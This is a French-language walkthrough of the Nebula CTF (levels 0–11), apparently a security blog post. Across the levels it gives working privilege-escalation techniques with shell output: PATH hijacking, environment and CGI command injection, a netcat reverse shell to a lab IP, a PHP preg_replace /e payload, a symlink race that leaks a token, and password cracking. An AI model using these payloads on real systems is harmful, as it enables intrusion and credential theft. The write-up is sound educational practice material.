Accueil Solution du CTF Nebula (levels 0 à 11)
Post
Annuler

Solution du CTF Nebula (levels 0 à 11)

Le CTF Nebula est un vieux challenge qui tourne autour de l’escalade de privilèges sous système Unix. C’est sans doute dans le même état d’esprit que certains challenges de OverTheWire: Wargames.

Level 0

On en apprend plus sur le CTF en se connectant au port SSH :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ ssh level00@192.168.56.97
  
      _   __     __          __     
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ / 
  /_/ |_/\___/_.___/\__,_/_/\__,_/  
                                    
    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


level00@192.168.56.97's password: 
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

level00@nebula:~$ ls -al
total 5
drwxr-x--- 1 level00 level00   60 2023-01-31 00:14 .
drwxr-xr-x 1 root    root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 level00 level00  220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 level00 level00 3353 2011-05-18 02:54 .bashrc
drwx------ 2 level00 level00   60 2023-01-31 00:14 .cache
-rw-r--r-- 1 level00 level00  675 2011-05-18 02:54 .profile

En listant les dossier dans /home on trouve une série d’utilisateurs nommés flagXX pour lesquels il faudra récupérer des accès :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
level00@nebula:~$ ls ..
flag00  flag02  flag04  flag06  flag08  flag10  flag12  flag14  flag16  flag18  level00  level02  level04  level06  level08  level10  level12  level14  level16  level18  nebula
flag01  flag03  flag05  flag07  flag09  flag11  flag13  flag15  flag17  flag19  level01  level03  level05  level07  level09  level11  level13  level15  level17  level19
level00@nebula:~$ ls ../flag00/ -al
total 5
drwxr-x--- 2 flag00 level00   66 2011-11-20 20:21 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag00 flag00   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag00 flag00  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag00 flag00   675 2011-05-18 02:54 .profile
level00@nebula:~$ find / -user flag00 2> /dev/null 
/bin/.../flag00
/home/flag00
/home/flag00/.bash_logout
/home/flag00/.bashrc
/home/flag00/.profile
level00@nebula:~$ file /bin/.../flag00
/bin/.../flag00: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level00@nebula:~$ ls -al /bin/.../flag00
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /bin/.../flag00

Je trouve ainsi un binaire caché pour l’utilisateur flag00. Le binaire est setuid et nous indique de lancer une autre commande pour vérifier qu’on a l’accès qu’il faut :

1
2
3
4
5
6
level00@ebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ id
uid=999(flag00) gid=1001(level00) groups=999(flag00),1001(level00)
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

On peut jeter un œil rapide pour voir ce que ce binaire fait :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
flag00@nebula:~$ gdb -q /bin/getflag
Reading symbols from /bin/getflag...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483f0 <+0>:     push   %ebp
   0x080483f1 <+1>:     mov    %esp,%ebp
   0x080483f3 <+3>:     push   %edi
   0x080483f4 <+4>:     push   %esi
   0x080483f5 <+5>:     and    $0xfffffff0,%esp
   0x080483f8 <+8>:     sub    $0x10,%esp
   0x080483fb <+11>:    call   0x8048390 <geteuid@plt>
   0x08048400 <+16>:    mov    %eax,(%esp)
   0x08048403 <+19>:    call   0x8048380 <getpwuid@plt>
   0x08048408 <+24>:    test   %eax,%eax
   0x0804840a <+26>:    mov    %eax,%esi
   0x0804840c <+28>:    je     0x8048451 <main+97>
   0x0804840e <+30>:    mov    (%esi),%eax
   0x08048410 <+32>:    mov    $0x80486e4,%edi
   0x08048415 <+37>:    mov    $0x5,%ecx
   0x0804841a <+42>:    mov    %eax,%esi
   0x0804841c <+44>:    repz cmpsb %es:(%edi),%ds:(%esi)
   0x0804841e <+46>:    je     0x8048467 <main+119>
   0x08048420 <+48>:    mov    $0x80486e9,%edi
   0x08048425 <+53>:    mov    $0x4,%ecx
   0x0804842a <+58>:    mov    %eax,%esi
   0x0804842c <+60>:    repz cmpsb %es:(%edi),%ds:(%esi)
   0x0804842e <+62>:    je     0x8048443 <main+83>
   0x08048430 <+64>:    movl   $0x80486a4,(%esp)
   0x08048437 <+71>:    call   0x80483b0 <puts@plt>
   0x0804843c <+76>:    lea    -0x8(%ebp),%esp
   0x0804843f <+79>:    pop    %esi
   0x08048440 <+80>:    pop    %edi
   0x08048441 <+81>:    pop    %ebp
   0x08048442 <+82>:    ret    
   0x08048443 <+83>:    movl   $0x8048668,(%esp)
   0x0804844a <+90>:    call   0x80483b0 <puts@plt>
   0x0804844f <+95>:    jmp    0x804843c <main+76>
   0x08048451 <+97>:    movl   $0x8048610,0x4(%esp)
   0x08048459 <+105>:   movl   $0x1,(%esp)
   0x08048460 <+112>:   call   0x80483a0 <err@plt>
   0x08048465 <+117>:   jmp    0x804840e <main+30>
   0x08048467 <+119>:   movl   $0x8048630,(%esp)
   0x0804846e <+126>:   call   0x80483b0 <puts@plt>
   0x08048473 <+131>:   movl   $0x1,(%esp)
   0x0804847a <+138>:   call   0x80483d0 <exit@plt>
End of assembler dump.
(gdb) x/s 0x80486e4
0x80486e4:       "root"
(gdb) x/s 0x80486e9
0x80486e9:       "flag"

Visiblement il récupère l’effective UID puis le convertit en nom d’utilisateur via getpwuid. Il s’assure ensuite que le nom d’utilisateur commence par root ou flag.

Level 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
level01@nebula:/home/flag01$ ls -al
total 13
drwxr-x--- 2 flag01 level01   92 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag01 flag01   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag01 flag01  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
-rw-r--r-- 1 flag01 flag01   675 2011-05-18 02:54 .profile
level01@nebula:/home/flag01$ strings flag01 
/lib/ld-linux.so.2
y%[3
)&cj
__gmon_start__
libc.so.6
_IO_stdin_used
setresgid
setresuid
system
getegid
geteuid
__libc_start_main
GLIBC_2.0
PTRh
UWVS
[^_]
/usr/bin/env echo and now what?
;*2$"

On a un binaire qui semble simple et doit lancer via system la commande /usr/bin/env echo and now what?

Ca reste du bash et on peut interférer dessus en mettant un exécutable echo à nous en priorité dans le PATH.

1
2
3
4
5
6
7
8
9
10
11
12
level01@nebula:/home/flag01$ cd /tmp/
level01@nebula:/tmp$ id
uid=1002(level01) gid=1002(level01) groups=1002(level01)
level01@nebula:/tmp$ cat > echo
#!/bin/bash
dash
^C
level01@nebula:/tmp$ PATH=/tmp:$PATH /home/flag01/flag01
$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
$ getflag
You have successfully executed getflag on a target account

Level 2

On a pour ce binaire un getenv, un asprint et un nom de variable USER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
level02@nebula:/home/flag02$ strings flag02 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setresgid
asprintf
getenv
setresuid
system
getegid
geteuid
__libc_start_main
GLIBC_2.0
PTRhP
QVh4
UWVS
[^_]
USER
/bin/echo %s is cool
about to call system("%s")
;*2$"

On peut ainsi injecter des commandes dans la chaine passée à system :

1
2
3
4
5
6
7
level02@nebula:/home/flag02$ USER=";dash;#" ./flag02
about to call system("/bin/echo ;dash;# is cool")

$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
$ getflag
You have successfully executed getflag on a target account

Level 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
level03@nebula:/home/flag03$ ls -l
total 1
drwxrwxrwx 2 flag03 flag03  3 2012-08-18 05:24 writable.d
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh
level03@nebula:/home/flag03$ ls -al writable.d/
total 0
drwxrwxrwx 2 flag03 flag03    3 2012-08-18 05:24 .
drwxr-x--- 3 flag03 level03 103 2011-11-20 20:39 ..
level03@nebula:/home/flag03$ cat writable.sh 
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done

On a un dossier world-writable et un script bash qui va exécuter tout ce qu’il se trouve à l’intérieur. Le dossier est vide et il n’y a aucun signe visible que le script soit exécuté via une tache planifiée mais on va essayer :

1
2
3
4
5
6
level03@nebula:/home/flag03$ cat > /tmp/test
#!/bin/bash
touch /tmp/winner.txt
^C
level03@nebula:/home/flag03$ chmod 755 /tmp/test
level03@nebula:/home/flag03$ mv /tmp/test /home/flag03/writable.d/

Après quelques minutes c’est bien exécuté :

1
2
3
level03@nebula:/home/flag03$ ls -l /tmp/
total 3
-rw-rw-r-- 1 flag03  flag03   0 2023-01-31 01:06 winner.txt

On va faire de même mais en copiant une clé publique SSH à l’emplacement du authorized_keys :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
level03@nebula:/home/flag03$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/level03/.ssh/id_rsa): /tmp/ctf_key
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /tmp/ctf_key.
Your public key has been saved in /tmp/ctf_key.pub.
The key fingerprint is:
45:85:90:5c:6f:37:ca:6f:17:7e:09:ae:8f:ee:69:ef level03@nebula
The key's randomart image is:
+--[ RSA 2048]----+
|       ..+oo.    |
|        o...     |
|          . o o  |
|         . o o . |
|        S   o. . |
|            ..o o|
|             .ooo|
|           .+. ..|
|          +*+E   |
+-----------------+
level03@nebula:/home/flag03$ cat > /tmp/test
#!/bin/bash
mkdir -p /home/flag03/.ssh
cp /tmp/ctf_key.pub /home/flag03/.ssh/authorized_keys
^C
level03@nebula:/home/flag03$ mv /tmp/test /home/flag03/writable.d/

Et ça fonctionne :

1
2
3
4
5
6
7
8
9
10
11
level03@nebula:/home/flag03$ chmod 600 /tmp/ctf_key
level03@nebula:/home/flag03$ ssh -i /tmp/ctf_key flag03@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.

flag03@nebula:~$ id
uid=996(flag03) gid=996(flag03) groups=996(flag03)
flag03@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level 4

On a un binaire setuid et un fichier qu’on ne peut pas lire. On retrouve le nom du fichier token dans le binaire ainsi qu’un strstr. Visiblement le binaire bloque tout nom de fichier qui contiendrait token :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
level04@nebula:/home/flag04$ ls -l
total 8
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ strings flag04 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__stack_chk_fail
printf
strstr
read
open
__libc_start_main
write
GLIBC_2.4
GLIBC_2.0
PTRh 
QVhT
UWVS
[^_]
%s [file to read]
token
You may not access '%s'
Unable to open %s
Unable to read fd %d
;*2$"
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
level04@nebula:/home/flag04$ ./flag04 ./token
You may not access './token'

On peut bypasser ça via un lien symbolique :

1
2
3
4
5
6
7
8
9
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/yolo
level04@nebula:/home/flag04$ ./flag04 /tmp/yolo
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$ su flag04
Password: 
sh-4.2$ getflag 
You have successfully executed getflag on a target account
sh-4.2$ id
uid=995(flag04) gid=995(flag04) groups=995(flag04)

Level 5

1
2
3
4
5
level05@nebula:/home/flag05$ ls -al .backup/
total 2
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .
drwxr-x--- 4 flag05 level05   93 2012-08-18 06:56 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz

Cette fois pas de binaire mais un fichier de backup qui contient une clé privée SSH :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
level05@nebula:/home/flag05$ cp .backup/backup-19072011.tgz /tmp/
level05@nebula:/home/flag05$ cd /tmp/
level05@nebula:/tmp$ tar zxvf backup-19072011.tgz 
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
level05@nebula:/tmp$ chmod 600 .ssh/id_rsa
level05@nebula:/tmp$ ssh -i .ssh/id_rsa flag05@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
  
flag05@nebula:~$ id
uid=994(flag05) gid=994(flag05) groups=994(flag05)
flag05@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level 6

Pas de binaire, pas de process pour cet utilisateur, pas de permissions sudo… On peut trouver un indice que Level 06 :: Andrew Griffiths’ Exploit Education :

The flag06 account credentials came from a legacy unix system.

Il m’a fallut quelques minutes pour tilter que je devais regarder le fichier passwd du système :

1
2
level06@nebula:/home/flag06$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

Ca se casse de façon instantanée avec JtR :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ./john /tmp/hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
0g 0:00:00:00 DONE 1/3 (2023-01-31 08:41) 0g/s 40800p/s 40800c/s 40800C/s flag06V..Flag0659
Proceeding with wordlist:./password.lst
Enabling duplicate candidate password suppressor
hello            (flag06)     
1g 0:00:00:00 DONE 2/3 (2023-01-31 08:41) 7.142g/s 181371p/s 181371c/s 181371C/s 123456..121082
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Level 7

Pour une fois on a un fichier dans le home de l’utilisateur level : un script CGI. Il y a t’il un process pour l’utilisateur flag qui correspond à un serveur web ?

1
2
3
4
5
6
7
8
level07@nebula:~$ ls -l
total 1
-rw-rw-r-- 1 level07 level07 77 2012-08-18 08:03 index.cgi
level07@nebula:~$ cat index.cgi 
<html><head><title>Ping results</title></head><body><pre></pre></body></html>
level07@nebula:~$ ps aux | grep flag07
flag07    1217  0.0  0.0   2588   884 ?        Ss   00:10   0:00 /usr/sbin/thttpd -C /home/flag07/thttpd.conf
level07   3218  0.0  0.0   4184   792 pts/0    S+   01:43   0:00 grep --color=auto flag07

Voici un extrait du fichier de conf du thttpd :

1
2
3
4
5
6
7
8
9
10
11
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

Donc le index.cgi vu plus tôt sert seulement d’indice. Le vrai script est chez flag07 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
level07@nebula:~$ cat /home/flag07/index.cgi 
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
        $host = $_[0];

        print("<html><head><title>Ping results</title></head><body><pre>");

        @output = `ping -c 3 $host 2>&1`;
        foreach $line (@output) { print "$line"; } 

        print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Il y a de toute évidence une injection de commande via le paramètre Host. J’ai tenté une première exécution mais elle n’aboutissait pas, peut être à cause des espaces. J’ai préféré créer un script sur le système pour l’appeler depuis le CGI :

1
2
3
4
5
level07@nebula:~$ cat > /tmp/revshell
#!/bin/bash
/bin/nc.traditional -e /bin/bash 192.168.56.1 4444
^C
level07@nebula:~$ chmod 755 /tmp/revshell

Pour l’exécuter je coupe la commande avec des & :

http://192.168.56.97:7007/index.cgi?Host=%26/tmp/revshell%26

Et j’obtiens bien mon reverse shell :

1
2
3
4
5
6
7
8
9
10
11
$ ncat -l -p 4444 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.56.97.
Ncat: Connection from 192.168.56.97:49509.
id
uid=992(flag07) gid=992(flag07) groups=992(flag07)
getflag
You have successfully executed getflag on a target account
^C

Level 8

On change encore de domaine avec un fichier capture.pcap (capture réseau à ouvrir avec Wireshark). Ca ressemble à une connexion Telnet même si le port n’est pas le 23.

Voici les données envoyées par le client (représentation ascii).

1
2
3
..%..&..... ..#..'..$.. .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm.........."..".....b........b....	B.
..............................1.......!.."............"level8
backdoor...00Rm8.ate

Le mot de passe backdoor n’était pas accepté… J’ai donc regardé les octets présents après et ce ne sont pas des points, ils correspondent au code 7F. Un coup d’œil sur man ascii (7): Jeu de caractères ASCII en octal, décimal, et hexadécimal permet de voir que ça correspond à la touche Del du clavier donc les caractères sont effacés. Le mot de passe est en vérité backd00Rmate.

1
2
3
4
5
6
level08@nebula:~$ su flag08
Password: 
sh-4.2$ id
uid=991(flag08) gid=991(flag08) groups=991(flag08)
sh-4.2$ getflag 
You have successfully executed getflag on a target account

Level 9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
level09@nebula:/home/flag09$ ls -l
total 8
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root   root     491 2011-11-20 21:22 flag09.php
level09@nebula:/home/flag09$ strings flag09
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
execve
geteuid
__libc_start_main
GLIBC_2.0
PTRhP
QVhD
D$ #
D$$&
UWVS
[^_]
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
PS1=wibblywobblytimeywimeystuff$ 
/usr/bin/php
/home/flag09/flag09.php
;*2$"

Cette fois le binaire semble blindé pour éviter que l’on joue avec les variables d’environnement.

Le PHP mentionné est le suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function spam($email)
{
        $email = preg_replace("/\./", " dot ", $email);
        $email = preg_replace("/@/", " AT ", $email);

        return $email;
}

function markup($filename, $use_me)
{
        $contents = file_get_contents($filename);

        $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
        $contents = preg_replace("/\[/", "<", $contents);
        $contents = preg_replace("/\]/", ">", $contents);

        return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Les plus anciens auront remarqué la présence de l’option /e sur preg_replace. C’est un indicateur qui a été déprécié depuis mais ce qu’il se passe sur le match pour l’adresse email dans la fonction markup c’est que le code va extraire ce qui se trouve entre [email et ] (second groupe entre parenthèses). En raison du /e la valeur du second groupe est injectée dans l’expression spam(\"\\2\") située en second argument de preg_replace et exécutée.

Depuis PHP a introduit une fonction plus explicite dont le nom contient callback.

Mais malheureusement l’injection n’est pas aussi simple car PHP nous échappe les caractères qui devraient nous permettre d’injecter notre code PHP.

Après recherche il faut utiliser une syntaxe curly particulière :

1
2
3
4
5
6
7
8
level09@nebula:/home/flag09$ cat /tmp/test.php
[email {${system(chr(100).chr(97).chr(115).chr(104))}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/test.php yolo
id
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
getflag
You have successfully executed getflag on a target account
^C

D’autres références :

PHP: Strings - Manual

[PHP::Preg_replace() RCEIkonw’s blog]([PHP::Preg_replace() RCEIkonw's blog](https://ik0nw.github.io/2020/09/23/PHP::Preg_replace()-RCE/index.html))

Level 10

Visiblement sur ce CTF (ou sur cette version), l’auteur a laissé quelques fichiers qui permettent de bypasser l’exercice :

1
2
3
4
5
6
7
8
9
10
11
level10@nebula:~$ ls -al
total 11
drwxr-x--- 1 level10 level10   60 2023-01-31 04:47 .
drwxr-xr-x 1 root    root     380 2012-08-27 07:18 ..
-rw-r--r-- 1 level10 level10  220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 level10 level10 3353 2011-05-18 02:54 .bashrc
drwx------ 2 level10 level10   60 2023-01-31 04:47 .cache
-rw------- 1 level10 level10   43 2012-08-19 20:20 .lesshst
-rw-r--r-- 1 level10 level10  675 2011-05-18 02:54 .profile
-rw------- 1 level10 level10 4283 2012-08-19 18:27 .viminfo
-rw-rw-r-- 1 level10 level10  382 2012-08-19 18:27 x

Ainsi le dernier fichier contient le mot de passe :

1
2
3
4
5
6
7
8
level10@nebula:~$ sort x | uniq

615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
level10@nebula:~$ su flag10
Password: 
sh-4.2$ id
uid=989(flag10) gid=989(flag10) groups=989(flag10)
sh-4.2$ getflag

Mais ce n’est pas la solution attendue. Il y a un binaire dont on peut trouver la source ici : Level 10 :: Andrew Griffiths’ Exploit Education

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

On peut donc utiliser ce binaire setuid pour envoyer le contenu d’un fichier à destination du port 18211 de l’IP de notre choix. Ca tombe bien car il y a aussi un fichier token qu’on ne peut normalement pas lire.

Problème : le code fait un access pour vérifier qu’on dispose des permissions en lecture sur le fichier avant de l’envoyer. Solution : le code recréé un nouveau descripteur de fichier plus tard, on est donc dans une situation de race condition.

Il faut que l’on fasse en sorte qu’au moment du access le fichier traité soit à nous et qu’au moment de la lecture ce soit un lien symbolique vers token.

J’ai d’abord écrit ce script en Python 2 (vieux CTF oblige) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os

while True:
        try:
                os.unlink("/tmp/readable")
        except Exception:
                pass

        fd = open("/tmp/readable", "a")
        fd.close()

        try:
                os.unlink("/tmp/readable")
        except Exception:
                pass

        os.symlink("/home/flag10/token", "/tmp/readable")

Je le lance en background puis je lance une boucle infinnie pour exécuter le binaire vulnérable. De cette façon il y aura bien un moment où les planètes seront alignées :

1
2
$ python /tmp/race.py&
$ while true; do  ./flag10 /tmp/readable 127.0.0.1; done

Elles s’alignent même assez régulièrement :)

1
2
3
4
5
6
7
8
level10@nebula:~$ nc -l -k 18211 | uniq
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
--- snip ---

Level 11

J’ai eu quelques difficultés sur ce CTF mais une recherche sur le web a confirmé qu’il était buggé.

On peut trouver le code source sur le site Exploit Education mentionné plus tôt.

Ce que fait le binaire c’est lire son input sur l’entrée standard. Il s’attend à voir une ligne correspondant à l’entête HTTP Content-Length.

La valeur spécifiée par l’entête correspond aux données que l’on peut ensuite envoyer mais un if/else fait que si on spécifie une taille supérieur au buffer de destination la lecture sera bornée.

Si tout se passe bien les données sont passées à une méthode process qui procéde à un déchiffrement selon cette méthode :

1
2
3
4
5
6
7
  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

Le premier caractère est XORé avec la longueur de la chaine. Les autres caractères sont XORés avec l’ancienne clé à laquelle est soustrait le code d’ascii du précédent caractère décodé.

Malgré la simplicité apparente de la fonction j’ai eu un peu de mal à écrire le code de décodage en Python que voici :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from ctypes import c_uint8

def crypt(s):
        result = ""
        key = len(s)
        for i, c in enumerate(s):
                result += chr(ord(c) ^ key)
                key = (c_uint8(key).value - c_uint8(ord(c)).value) & 0xff
        return result


def decrypt(s):
        result = ""
        key = len(s)
        for c in s:
                result += chr(ord(c) ^ key)
                key = (c_uint8(key).value - c_uint8(ord(result[-1])).value) & 0xff
        return result

assert crypt(decrypt("system")) == "system"

cmd = "a"
l = len(cmd)
print "Content-Length: 1" 
print crypt(cmd)

La bonne blague dans le code vulnérable se trouve ici :

1
2
3
4
5
6
7
8
  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {

length est la taille du buffer telle que spécifiée par l’entête Content-Length. Le code s’assure donc qu’on lise length octets seulement si on a assez de place. Jusque là tout va bien.

Seulement si le résultat du fread est différent de length nous n’atteignons jamais l’appel à process. Et là fread indique de lire 1 bloc de length octets. Le problème c’est que fread retourne le nombre de blocs lus… par conséquence il retourne toujours 1 !

On peut utiliser mon code pour faire exécuter une commande dont le nom est d’un caractère mais il faut que la chance mette un octet nul en mémoire après :

1
2
3
4
5
6
7
8
9
10
11
12
level11@nebula:/home/flag11$ cat > /tmp/a
#!/bin/bash
id 
dash
^C
level11@nebula:/home/flag11$ chmod 755 /tmp/a
level11@nebula:/home/flag11$ python /tmp/gen.py | ./flag11
sh: $'a\360\034': command not found
level11@nebula:/home/flag11$ python /tmp/gen.py | ./flag11
sh: $'a\300\225': command not found
level11@nebula:/home/flag11$ python /tmp/gen.py | ./flag11
uid=1012(level11) gid=1012(level11) groups=1012(level11)

Seconde déconvenue : l’exécutable est setuid mais il droppe les privilèges avant l’appel à système, ce qui n’était pas indiqué dans le code source…

Une autre solution vue dans les articles suivants :

nebula-level11.md · GitHub

[Nebula WalkthroughAyrx’s Blog](https://www.ayrx.me/nebula-walkthrough/)

nebula-writeup/level11.md at main · vi11ain/nebula-writeup · GitHub

Elle consiste à entrer dans le bloc else en annoncant un buffer plus grand ou égal à 1024 octets et à essayer de prédire le nom de fichier généré dans la fonction getrand :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

